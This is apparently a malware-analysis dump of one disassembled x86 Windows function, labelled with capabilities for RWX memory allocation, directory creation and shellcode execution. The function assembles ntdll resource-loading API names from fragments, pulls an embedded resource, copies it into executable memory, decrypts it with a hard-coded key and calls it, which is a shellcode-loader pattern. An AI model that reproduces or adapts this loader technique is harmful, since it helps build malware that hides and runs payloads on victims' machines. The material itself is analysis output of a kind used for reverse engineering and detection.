Function at 0x401b10
Capabilities:
Allocate or change rwx memory
Create directory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45fe5d
mov eax, dword fs:[0]
push eax
sub esp, 0x2a4
mov eax, dword [0x47ccc0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x294], ecx
mov dword [ebp - 0x15c], 0x1e55
mov dword [ebp - 0x60], 0x1155
mov dword [ebp - 0x5c], 0x409
mov dword [ebp - 0x164], 0
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0x58], 0xa
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0xa0], 0
push str.LdrFin
lea ecx, [ebp - 0x2c]
call fcn.00402350
mov dword [ebp - 4], 0
push str.dReso
lea ecx, [ebp - 0x9c]
call fcn.00402350
mov byte [ebp - 4], 1
push str.urce_U
lea ecx, [ebp - 0xe8]
call fcn.00402350
mov byte [ebp - 4], 2
lea edx, [ebp - 0x9c]
push edx
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x180]
push ecx
call fcn.004039a0
add esp, 0xc
mov dword [ebp - 0x298], eax
mov edx, dword [ebp - 0x298]
mov dword [ebp - 0x29c], edx
mov byte [ebp - 4], 3
lea eax, [ebp - 0xe8]
push eax
mov ecx, dword [ebp - 0x29c]
push ecx
lea edx, [ebp - 0x158]
push edx
call fcn.004039a0
add esp, 0xc
mov byte [ebp - 4], 5
push 0
push 1
lea ecx, [ebp - 0x180]
call fcn.00402bf0
push 0x464c30
lea ecx, [ebp - 0x7c]
call fcn.00402350
mov byte [ebp - 4], 6
push str.Acces
lea ecx, [ebp - 0xc0]
call fcn.00402350
mov byte [ebp - 4], 7
push str.sResource
lea ecx, [ebp - 0x4c]
call fcn.00402350
mov byte [ebp - 4], 8
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x7c]
push ecx
lea edx, [ebp - 0x19c]
push edx
call fcn.004039a0
add esp, 0xc
mov dword [ebp - 0x2a0], eax
mov eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x2a4], eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x4c]
push ecx
mov edx, dword [ebp - 0x2a4]
push edx
lea eax, [ebp - 0x134]
push eax
call fcn.004039a0
add esp, 0xc
mov byte [ebp - 4], 0xb
push 0
push 1
lea ecx, [ebp - 0x19c]
call fcn.00402bf0
mov dword [ebp - 0x13c], str.ntdll.dll
cmp dword [ebp - 0x140], 0x10
jb 0x401cdd
mov ecx, dword [ebp - 0x154]
mov dword [ebp - 0x2a8], ecx
jmp 0x401ce9
lea edx, [ebp - 0x154]
mov dword [ebp - 0x2a8], edx
mov eax, dword [ebp - 0x2a8]
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0x11c], 0x10
jb 0x401d0c
mov ecx, dword [ebp - 0x130]
mov dword [ebp - 0x2ac], ecx
jmp 0x401d18
lea edx, [ebp - 0x130]
mov dword [ebp - 0x2ac], edx
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0x160], eax
mov ecx, dword [ebp - 0x13c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xa0], eax
push str.LdrFindResource_U
mov edx, dword [ebp - 0xa0]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x47e34c], eax
push str.LdrAccessResource
mov eax, dword [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x47e348], eax
lea ecx, [ebp - 0xec]
push ecx
push 3
lea edx, [ebp - 0x58]
push edx
push 0x400000
call dword [0x47e34c]
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0
jl 0x401db2
lea eax, [ebp - 0xc4]
push eax
lea ecx, [ebp - 0x164]
push ecx
mov edx, dword [ebp - 0xec]
push edx
push 0x400000
call dword [0x47e348]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x138], 0
push 0
push str.C:Users_
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x401de9
push 0x40
push 0x1000
mov eax, dword [ebp - 0xc4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x138], eax
mov ecx, dword [ebp - 0xc4]
push ecx
mov edx, dword [ebp - 0x164]
push edx
mov eax, dword [ebp - 0x138]
push eax
call fcn.00446510
add esp, 0xc
lea ecx, [ebp - 0x80]
push ecx
push 0x63
push str._nn9Z7QcYw_GPef_SnRkq1QI_lZWt08m0fkSEazD89bq1jDWaSwAElhc__AHIwH6_nScCTC5JPAg56YznImYKQp6k
call fcn.004017e0
add esp, 0xc
lea edx, [ebp - 0x80]
push edx
mov eax, dword [ebp - 0xc4]
push eax
mov ecx, dword [ebp - 0x138]
push ecx
call fcn.004018b0
add esp, 0xc
mov edx, dword [ebp - 0x138]
mov dword [ebp - 0x30], edx
push 0
push str.C:Users_
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x401ef8
mov dword [ebp - 0x1a0], 0
mov byte [ebp - 4], 8
push 0
push 1
lea ecx, [ebp - 0x134]
call fcn.00402bf0
mov byte [ebp - 4], 7
push 0
push 1
lea ecx, [ebp - 0x4c]
call fcn.00402bf0
mov byte [ebp - 4], 6
push 0
push 1
lea ecx, [ebp - 0xc0]
call fcn.00402bf0
mov byte [ebp - 4], 5
push 0
push 1
lea ecx, [ebp - 0x7c]
call fcn.00402bf0
mov byte [ebp - 4], 2
push 0
push 1
lea ecx, [ebp - 0x158]
call fcn.00402bf0
mov byte [ebp - 4], 1
push 0
push 1
lea ecx, [ebp - 0xe8]
call fcn.00402bf0
mov byte [ebp - 4], 0
push 0
push 1
lea ecx, [ebp - 0x9c]
call fcn.00402bf0
mov dword [ebp - 4], 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00402bf0
mov eax, dword [ebp - 0x1a0]
jmp 0x40221c
call dword [ebp - 0x30]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x1a4], 0
mov byte [ebp - 4], 8
push 0
push 1
lea ecx, [ebp - 0x134]
call fcn.00402bf0
mov byte [ebp - 4], 7
push 0
push 1
lea ecx, [ebp - 0x4c]
call fcn.00402bf0
mov byte [ebp - 4], 6
push 0
push 1
lea ecx, [ebp - 0xc0]
call fcn.00402bf0
mov byte [ebp - 4], 5
push 0
push 1
lea ecx, [ebp - 0x7c]
call fcn.00402bf0
mov byte [ebp - 4], 2
push 0
push 1
lea ecx, [ebp - 0x158]
call fcn.00402bf0
mov byte [ebp - 4], 1
push 0
push 1
lea ecx, [ebp - 0xe8]
call fcn.00402bf0
mov byte [ebp - 4], 0
push 0
push 1
lea ecx, [ebp - 0x9c]
call fcn.00402bf0
mov dword [ebp - 4], 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00402bf0
mov eax, dword [ebp - 0x1a4]
jmp 0x40221c
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004461d3
mov esp, ebp
pop ebp
ret